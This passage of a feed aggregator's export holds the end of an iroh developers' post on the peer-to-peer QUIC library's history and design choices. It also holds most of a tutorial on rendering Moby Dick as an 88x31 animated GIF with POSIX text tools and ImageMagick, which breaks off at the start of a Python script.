&lt;p&gt;The new iroh was just QUIC based networking using &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.rs/quinn&quot;&gt;quinn&lt;/a&gt; and blob transfer using BLAKE3 verified streaming. Compared to the previous version, the functionality was anemic. But the single thing it did, it did with close to optimal performance. It was a lightweight enough dependency that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/chatmail/core/commit/24856f3050be9a7705f9df736ab575fd856454d5&quot;&gt;deltachat could justify including it into their rust code base&lt;/a&gt;. And suddenly we had both networking and sync deployed in a real app used by thousands of people across various platforms (windows, linux, iOS, android). The old code lives on in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/n0-computer/beetle&quot;&gt;beetle&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We decided to use just QUIC. But QUIC as specified in RFC 9000 has clear client and server roles, where the server is identified by a certificate chain. At the time we had to add a somewhat Rube Goldberg construction on top to make QUIC work for peer-to-peer connections, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/libp2p/specs/blob/master/tls/tls.md&quot;&gt;a self-signed certificate carrying the real public key in a custom X.509 extension&lt;/a&gt;, with a signature binding the two.&lt;/p&gt;
&lt;p&gt;Also, rustls is a heavy dependency, and its default crypto provider is a C dependency. So there was a temptation to replace the entire TLS encryption scheme with a protocol based on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://noiseprotocol.org/&quot;&gt;noise&lt;/a&gt; that is made for peer-to-peer connections from the start.&lt;/p&gt;
&lt;p&gt;We ended up sticking with TLS as the industry standard. Without using TLS iroh would not really be QUIC, just reuse some of its parts. But we were still unhappy about the self-signed cert.&lt;/p&gt;
&lt;p&gt;Thankfully right around the time when we were discussing this &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rfc-editor.org/rfc/rfc7250.html&quot;&gt;raw public keys&lt;/a&gt; in TLS support was &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/rustls/rustls/pull/2062&quot;&gt;merged into rustls&lt;/a&gt;. So we didn&#39;t waste any time and switched to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/iroh-0-34-0-raw-public-keys&quot;&gt;raw public keys in TLS&lt;/a&gt; soon after.&lt;/p&gt;
&lt;p&gt;One thing we were not yet happy with: for the deltachat chat history transfer to work, both devices had to be in the same network. Ideally this should work in all cases where the two devices are &lt;em&gt;somehow&lt;/em&gt; connected to the internet. We also wanted these transfers to be &lt;em&gt;fast&lt;/em&gt;. So what we needed was &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Hole_punching_(networking)&quot;&gt;hole punching&lt;/a&gt;. We looked at various systems that implement hole punching. Our goal was to get holepunching to work reliably, even at the expense of compromising p2p purity. If we would need a small server to help, so be it.&lt;/p&gt;
&lt;p&gt;Of all the existing open source implementations of holepunching, we found the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://tailscale.com/&quot;&gt;tailscale&lt;/a&gt; approach best suited to our requirements. So we implemented something that was initially very similar, with good results. This was a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/n0-computer/iroh/pull/830&quot;&gt;huge effort&lt;/a&gt;, but once we merged it we had hole punch rates to be proud of. In most normal circumstances we punched holes almost immediately, and in the few corporate networks where hole punching was impossible, at least we could still transfer data via relays. It &lt;strong&gt;just worked&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We achieved our goal of having a simple p2p library that just worked. But the API was still anemic. It was something that experienced rust teams such as deltachat could include, but not yet attractive to p2p application developers. So we decided to gradually add more functionality. One of the first things we did was extending the blob related API to expose more functionality for BLAKE3 verified streaming. In parallel we also optimized the verified streaming by implementing some advanced features such as &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/n0-computer/iroh/pull/798&quot;&gt;BLAKE3 chunk groups&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But even with blobs included, it was not enough. We had very useful functionality for experienced rust teams, but at the time that wasn&#39;t exactly a large group. So we decided to add a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/n0-computer/iroh/pull/1333&quot;&gt;document abstraction&lt;/a&gt; that would make iroh viable as a batteries included p2p application development framework, where ideally you would only need to add application specific code.&lt;/p&gt;
&lt;p&gt;As part of the push to make iroh approachable to more developers, we started to publish language bindings to almost all major languages. This worked well and was frequently used, but turned out to be a lot of work for us because of the frequent API changes on the road to 1.0.&lt;/p&gt;
&lt;p&gt;As we were adding protocols we also had to solve protocol &lt;em&gt;negotiation&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;One common pattern is to add a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/multiformats/multistream-select&quot;&gt;little handshake protocol&lt;/a&gt; on each stream where one side can propose a protocol and the other side can either accept or reject. But that would add overhead for &lt;em&gt;every single stream&lt;/em&gt; and take us further away from just peer-to-peer QUIC.&lt;/p&gt;
&lt;p&gt;We found that complex schemes for protocol evolution are often a mirage. Truly evolving a protocol in a backwards compatible way leads to a combinatorial explosion of variants that have to be tested. It is really hard to get this right.&lt;/p&gt;
&lt;p&gt;So we decided to keep things simple and use the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rfc-editor.org/rfc/rfc7301.html&quot;&gt;ALPN TLS extension&lt;/a&gt;. The connecting side proposes a list of ALPNs, and the server side either chooses one of the ALPNs or refuses the handshake. This happens directly during the QUIC handshake, so it has no overhead other than the raw bytes of the ALPN string.&lt;/p&gt;
&lt;p&gt;All in all we are very happy with this decision. Projects like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://datatracker.ietf.org/group/moq/about/&quot;&gt;Media over QUIC&lt;/a&gt; use QUIC streams extensively in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://moq-wg.github.io/moq-transport/draft-ietf-moq-transport.html#name-data-streams-and-datagrams&quot;&gt;a very creative way&lt;/a&gt;, and since we provide just raw QUIC streams we can support these approaches out of the box.&lt;/p&gt;
&lt;p&gt;It is not entirely without downsides. The &lt;code&gt;ClientHello&lt;/code&gt; containing the ALPN is unencrypted, so on-path observers can see which protocol is used by decoding &lt;code&gt;ClientHello&lt;/code&gt;s. One way to work around this is to use a common ALPN such as &lt;code&gt;h3&lt;/code&gt; and then just negotiate the actual protocol later. In a future version of iroh we might support &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://datatracker.ietf.org/doc/draft-ietf-tls-esni/&quot;&gt;encrypted client hello&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another consequence of the decision to use ALPNs is that two iroh endpoints talking multiple protocols will have not one but &lt;em&gt;multiple&lt;/em&gt; connections open (A QUIC connection is always for &lt;em&gt;exactly one&lt;/em&gt; ALPN). We share some internal state for these connections so that e.g. hole punching doesn&#39;t have to start from zero.&lt;/p&gt;
&lt;h3&gt;Sendme and dumbpipe&lt;/h3&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/sendme&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.iroh.computer/svg/sendme_icon.svg&quot; alt=&quot;sendme&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.dumbpipe.dev/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.iroh.computer/svg/dumbpipe_icon.svg&quot; alt=&quot;dumbpipe&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;To show off iroh, we published two small tools: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/sendme&quot;&gt;sendme&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.dumbpipe.dev/&quot;&gt;dumbpipe&lt;/a&gt;. These were meant to just show off different iroh capabilities, but also be useful on their own.&lt;/p&gt;
&lt;p&gt;To this day we use sendme every day to send logs around. And there are a large number of popular sendme clones: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/Kerim-Sabic/lightning-p2p&quot;&gt;Lightning P2P&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/tonyantony300/alt-sendme&quot;&gt;alt-sendme&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/ARK-Builders/ARK-Drop-Desktop&quot;&gt;ARK Drop Desktop&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/vinay-winai/DataBeam&quot;&gt;DataBeam&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/zignig/sendme-egui&quot;&gt;sendme-egui&lt;/a&gt;, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/thiswillbeyourgithub/iroh-send&quot;&gt;iroh-send&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dumbpipe also inspired a number of projects: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/cablehead/pai-sho&quot;&gt;pai-sho&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/rustonbsd/iroh-ssh&quot;&gt;iroh-ssh&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/doEggi/do-ssh&quot;&gt;do-ssh&lt;/a&gt;, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/futpib/iroh-ssh-android&quot;&gt;iroh-ssh-android&lt;/a&gt;. But more importantly it showed &lt;strong&gt;how useful&lt;/strong&gt; just direct connections by endpoint id are a building block.&lt;/p&gt;
&lt;p&gt;For a long time we did not have the ability to dial an iroh endpoint by endpoint id only. You needed the id of course, but you also needed an additional piece of info: either an ip address or a relay url. Sendme works like this to this day.&lt;/p&gt;
&lt;p&gt;But the additional information is not stable. An iroh endpoint can frequently change its public IP address, e.g. when the ISP assigns a new public IP address. It can also change its home relay when it moves to another geographic region. In addition, dealing with tickets is cumbersome for large scale systems where you work with a large number of peers.&lt;/p&gt;
&lt;p&gt;In many peer-to-peer projects the mechanism to implement such discovery is a distributed hash table. But our previous experience with DHTs was somewhat traumatic. We deciced very quickly that we did not have the resources to implement a DHT and &lt;em&gt;get adoption for it&lt;/em&gt;. So just like with the relays, we compromised a bit on peer-to-peer purity. We explored various centralized options such as cloudflare workers.&lt;/p&gt;
&lt;p&gt;But right at this time we discovered an emerging project that would allow us to have our cake and eat it too. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/pubky/pkarr&quot;&gt;Pkarr&lt;/a&gt; is the incredibly simple idea of storing signed DNS records on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Mainline_DHT&quot;&gt;bittorrent mainline DHT&lt;/a&gt;. We ended up using the pkarr format for our centralized address lookup service, but also giving iroh users the option to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.rs/iroh-mainline-address-lookup&quot;&gt;use the mainline dht directly&lt;/a&gt; to get a fully decentralized address lookup system.&lt;/p&gt;
&lt;p&gt;Mainline has some unfortunate limitations that are unlikely to go away any time soon. So &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/lets-write-a-dht-1&quot;&gt;I started writing a DHT&lt;/a&gt;, using on iroh &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/0rtt-api&quot;&gt;0-rtt&lt;/a&gt; connections. But as of now this is strictly an experiment that pushes the limits for iroh connections, not a production tool.&lt;/p&gt;
&lt;p&gt;— Rüdiger&lt;/p&gt;
&lt;p&gt;After working on iroh as a batteries included toolkit for some time, the API surface was increasing substantially. And we could not guarantee the same level of quality for all parts of the API. In addition, we noticed that each of our users was using a different subset of the API. The one thing everybody had in common was that they needed dial by endpoint id and connections that reliably hole punch. So we &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/smaller-is-better&quot;&gt;made the decision&lt;/a&gt; to narrow the scope of what iroh is significantly. From now on iroh would be just direct connections dialed by endpoint id. The other functionality, that several teams depend on, was &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/iroh-0-28-let-them-have-crates&quot;&gt;moved into separate crates&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We were now at the enviable position that several important projects depended on iroh. But we needed freedom to evolve iroh, and did not want to do so on a feature branch due to previous bad experiences with this approach. So we made our first long term stable release, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/iroh-0-35-prepping-for-1-0&quot;&gt;0.35&lt;/a&gt; and started the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/iroh-0-90-the-canary-series&quot;&gt;canary series&lt;/a&gt; for people that wanted to stay on the bleeding edge on the way to 1.0.&lt;/p&gt;
&lt;p&gt;In retrospect it would have been fine to call this iroh 1.0. It is a rock solid version of iroh that many projects depend on even today. But we are happy with the decision to develop on main and let people follow along.&lt;/p&gt;
&lt;p&gt;In addition to various functionality changes we also spent quite some time thinking about naming. For example, the identity of an iroh endpoint used to be called &lt;code&gt;NodeId&lt;/code&gt;. Back when iroh came as a large binary with several different built in protocols, this made a lot of sense. Also what is now known as address lookup used to be called just &lt;code&gt;Discovery&lt;/code&gt;. But we found that discovery isn&#39;t really a good name for the process of finding relay or ip addresses for an existing endpoint id. After all you don&#39;t &lt;em&gt;discover&lt;/em&gt; the endpoint id, you just look up additional data for it.&lt;/p&gt;
&lt;p&gt;There are some address lookup providers such as mDNS that &lt;em&gt;actually&lt;/em&gt; discover new endpoints. But this is not covered by the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.rs/iroh/latest/iroh/address_lookup/trait.AddressLookup.html&quot;&gt;AddressLookup trait&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Iroh was working just fine in most cases. But there were some dark clouds on the horizon. To get one of the main features of iroh, seamless migration of the underlying transport, to work reliably, we had to do some &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/n0-computer/iroh/pull/2835&quot;&gt;not so nice hacks&lt;/a&gt;. In the short term this wasn&#39;t really a big problem. But we knew that the current approach would limit us substantially in the future.&lt;/p&gt;
&lt;p&gt;So we &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/iroh-on-QUIC-multipath&quot;&gt;made the decision&lt;/a&gt; to fundamentally rework how iroh works under the hood. We were already using multiple paths of course, but QUIC was unaware of all of this. Which was the root cause for various problems.&lt;/p&gt;
&lt;p&gt;So far we had used quinn and contributed a few improvements. But now we were doing something fundamentally new: extending quinn to support multipath. For a long time we worked with the assumption that we would upstream our changes, but as the diff grew this became increasingly unlikely. So we &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/noq-announcement&quot;&gt;decided to fork quinn&lt;/a&gt; and maintain our own QUIC implementation, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.rs/noq&quot;&gt;noq&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Configurable key algorithms&lt;/h3&gt;
&lt;p&gt;A frequent request for iroh was to use key algorithms other than Ed25519. We ended up deciding against it. Many of our current systems such as pkarr address lookup are only ever going to work with Ed25519 keys. So while an iroh version with support for e.g. secp256k1 or P-256 would technically be straightforward, it would make iroh more complex. Our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rfc-editor.org/rfc/rfc7250.html#section-3&quot;&gt;key encoding&lt;/a&gt; for the TLS handshake is already key agnostic, so we can likely add support for additional key algorithms without breaking the wire format.&lt;/p&gt;
&lt;h3&gt;Post quantum signatures&lt;/h3&gt;
&lt;p&gt;Currently standardized post quantum signature algorithms have very large public key sizes. So supporting them would require us to change from the endpoint id &lt;em&gt;being&lt;/em&gt; the public key to the endpoint id being something &lt;em&gt;derived from&lt;/em&gt; the public key to keep the size manageable.&lt;/p&gt;
&lt;h3&gt;Encrypted ClientHello&lt;/h3&gt;
&lt;p&gt;Encrypted ClientHello has &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rfc-editor.org/rfc/rfc9849.html&quot;&gt;recently been standardized&lt;/a&gt;. We might want to use it or a very similar mechanism to hide handshake metadata such as the ALPN.&lt;/p&gt;
&lt;p&gt;In the four years we have been working on iroh we have written a lot of code, without any LLM assistance. We have thrown away almost as much code. What remains is a minimal library that heavily relies on existing standards and gives you authenticated, encrypted, direct connections to any endpoint, addressed by nothing but its public key.&lt;/p&gt;
&lt;p&gt;The road to 1.0 was anything but straight, but certainly extremely exciting and interesting. And we are not at the end. Iroh 1.0 just means that the wire format and API are stable. But there are various extension points both in the wire format and in the API, and we continue to improve things under the hood.&lt;/p&gt;
&lt;p&gt;Meanwhile we can&#39;t wait to see what you build on iroh.&lt;/p&gt;
&lt;p&gt;Iroh is a dial-any-device networking library that just works. Compose from an ecosystem of ready-made protocols to get the features you need, or go fully custom on a clean abstraction over dumb pipes. Iroh is open source, and already running in production on hundreds of thousands of devices.&lt;br /&gt;
To get started, take a look at our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://iroh.computer/docs&quot;&gt;docs&lt;/a&gt;, dive directly into &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/n0-computer/iroh&quot;&gt;the code&lt;/a&gt;, or chat with us in our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://iroh.computer/discord&quot;&gt;discord channel&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:c7821331f1f4690def8d0b528a885089d62340a5</id>
    <title type="text">Making a 88x31 button book using ImageMagick</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-16-making-a-88x31-button-book-using-imagemagick/"/>
    <link rel="via" type="text/html" href="https://k.sosnierz.me/08-11-24/"/>
    <published>2026-10-16T11:21:12+00:00</published>
    <updated>2026-10-16T11:21:12+00:00</updated>
    <author>
      <name>k.sosnierz.me via nathell</name>
    </author>
    <category term="news"/>
    <category term="art"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;h2&gt;(On a posix system)&lt;/h2&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;If you&#39;ve spent a considerable amount of time surfing the internet (and especially the Small Web), you might have seen an 88x31 button, or a few dozen of them. Some of them look like this:&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://k.sosnierz.me/08-11-24/anybrowser.gif&quot; alt=&quot;Best viewed with any HTML browser&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;However, the nice thing about computer displays is that they are able to cope with quickly changing visuals, hence some have animation:&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://k.sosnierz.me/08-11-24/vim.gif&quot; alt=&quot;Edited with Vim — Improved and free — I love my editor&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;I have noticed that among &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;http://textfiles.com/underconstruction/88x31/&quot;&gt;very numerous examples&lt;/a&gt;, i haven&#39;t seen any that&#39;d go very far in that axis. Usually the animations are there just to catch your eye, or to display several words in succession. But why not Moby Dick?&lt;/p&gt;
&lt;h2&gt;Size limitations&lt;/h2&gt;
&lt;p&gt;I was surprised to find that there seems to be no limit to the number of frames in a GIF file, and that the maximum resolution is 2^16 by 2^16, which is 4295 megapixels. We are of course limiting ourselves to just 88 by 31 pixels (or 0.003 megapixel), which might mean that regular text fonts don&#39;t get much space to shine — Arial, for example, seems to become legible at a minimum of 10 pixels height, which allows us to display about eleven words at once.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://k.sosnierz.me/08-11-24/arial.gif&quot; alt=&quot;One two three four five six seven eight nine ten eleven.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h2&gt;Alternative fonts&lt;/h2&gt;
&lt;p&gt;As is often the case in computing, popular conventions end up upsetting someone enough that they develop an alternative way. In this case the alternative we&#39;re looking for are fonts designed to be legible at extremely low font sizes. There are some as small as 3x3, but personally I find &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://robey.lag.net/2010/01/23/tiny-monospace-font.html&quot;&gt;TomThumb&lt;/a&gt; to be the golden middle here. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://k.sosnierz.me/08-11-24/tom-thumb.zip&quot;&gt;You can get TomThumb in truetype here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://k.sosnierz.me/08-11-24/tom-thumb-new.png&quot; alt=&quot;All glyphs of the TomThumb font&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h2&gt;Getting Moby Dick&lt;/h2&gt;
&lt;p&gt;Firstly, you will want to obtain a plain text copy of the book&#39;s content. The methods might vary depending on what formats you have access to — &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://oldcomputer.info/hacks/diyscan/index.htm&quot;&gt;you can use OCR to grab the text from a physical book&lt;/a&gt;, with an .EPUB or .PDF you can convert them (or even copy text manually), or you might get lucky and find what you&#39;re looking already shipped as a plain text .txt file, as is the case with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gutenberg.org/ebooks/2701&quot;&gt;Moby Dick&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I downloaded the file and stripped the license at the start and the end. I also cropped off everything before the first chapter.&lt;/p&gt;
&lt;h2&gt;Formatting the work&lt;/h2&gt;
&lt;p&gt;If we take our button, which is 88x31, and our font, which is 6x4 (5x3 + spacing), we find that we can fit 5 rows of 22 characters each. ImageMagick, the tool we&#39;re going to use, is not very good at laying out text, so it&#39;d be wise to take care of that ourselves. There&#39;s several ways to do this, but the neatest one uses three posix tools: cat, tr and fold:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat input.txt | tr &#39;\n&#39; &#39; &#39; | tr -d &#39;\r&#39; | fold -s -w 22 &amp;gt; 22w.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;cat is used to send the text to tr. tr translates each newline into a space, condensing the whole text file into one line. fold then takes that one line, splits it into multiple lines that are up to 22 characters wide (-w 22), and tries to avoid splitting words in half (-s).&lt;/p&gt;
&lt;p&gt;It&#39;s likely that at this point, your text looks fine. Mine was a bit garbled up, because fold doesn&#39;t handle multibyte characters well. I checked what non-ascii characters input.txt contained, and got rid of them using sed, like this: &lt;code&gt;sed -i &#39;s/”/&amp;quot;/g&#39;&lt;/code&gt;. The -i flag allows you to modify the file in place. You can find all the non-ascii characters using grep: &lt;code&gt;grep -P -n &#39;[^\x00-\x7F]&#39; input.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Of course, formatting is subjective. Depending on the kind of literary work, you might want to do it differently. I used &lt;code&gt;sed -i &#39;s/CHAPTER /\n\n\nCHAPTER /g&#39; input.txt&lt;/code&gt; to add some space between chapters, but chapters may be marked differently in the text you&#39;re using, or they might not be present at all.&lt;/p&gt;
&lt;h2&gt;And turning it into a GIF?&lt;/h2&gt;
&lt;p&gt;For this part, you&#39;re going to need &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://imagemagick.org/&quot;&gt;ImageMagick&lt;/a&gt; installed. Although it&#39;s likely that you already have it. We use the following command to generate the first version of our GIF file:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat 22w.txt | convert -page 88x39+0+0 -background white -fill black -font tom.ttf -pointsize 6 text:- high.gif&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Note that I have the actual tom.ttf file placed in the current working directory. It&#39;s mostly self explanatory. Convert takes the text from standard input and, just like that, puts it onto a GIF, frame by frame. Lovely. However, it seems to force some margin on the bottom of the image, which is why we drew the text on an image eight pixiels higher than we wanted. We&#39;re going to crop it now:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;convert high.gif -set delay 600 -coalesce -repage 0x0 -crop 88x31+0+0 +repage good.gif&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We&#39;re cropping those last eight pixels off, and also setting a reasonable delay between frames (in my experience, 6 seconds seems fine — please let me know if you disagree.&lt;/p&gt;
&lt;p&gt;Now good.gif should look somewhat like this:&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://k.sosnierz.me/08-11-24/good.gif&quot; alt=&quot;First chapter of mobydying being shown frame by frame, at about a dozen words at once&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h2&gt;Python bonus: centered text&lt;/h2&gt;
&lt;p&gt;I think it would be neat to have the text aligned to center, rather than having it stick so hard to the left edge. I wrote a quick python script for that, made it executable, then piped it&#39;s output into a file and once again regenerated the GIF.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Python&quot;&gt;&lt;span class=&quot;syntax-source syntax-python&quot;&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-python&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-python&quot;&gt;#&lt;/span&gt;!/usr/bin/python3
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-statement syntax-import syntax-python&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-from syntax-python&quot;&gt;from&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-statement syntax-import syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-import-source syntax-python&quot;&gt; &lt;span class=&quot;syntax-meta syntax-import-path syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-import-name syntax-python&quot;&gt;math&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-statement syntax-import syntax-python&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-python&quot;&gt;import&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-statement syntax-import syntax-python&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-statement syntax-import syntax-python&quot;&gt; &lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;floor&lt;/span&gt;&lt;/span&gt;
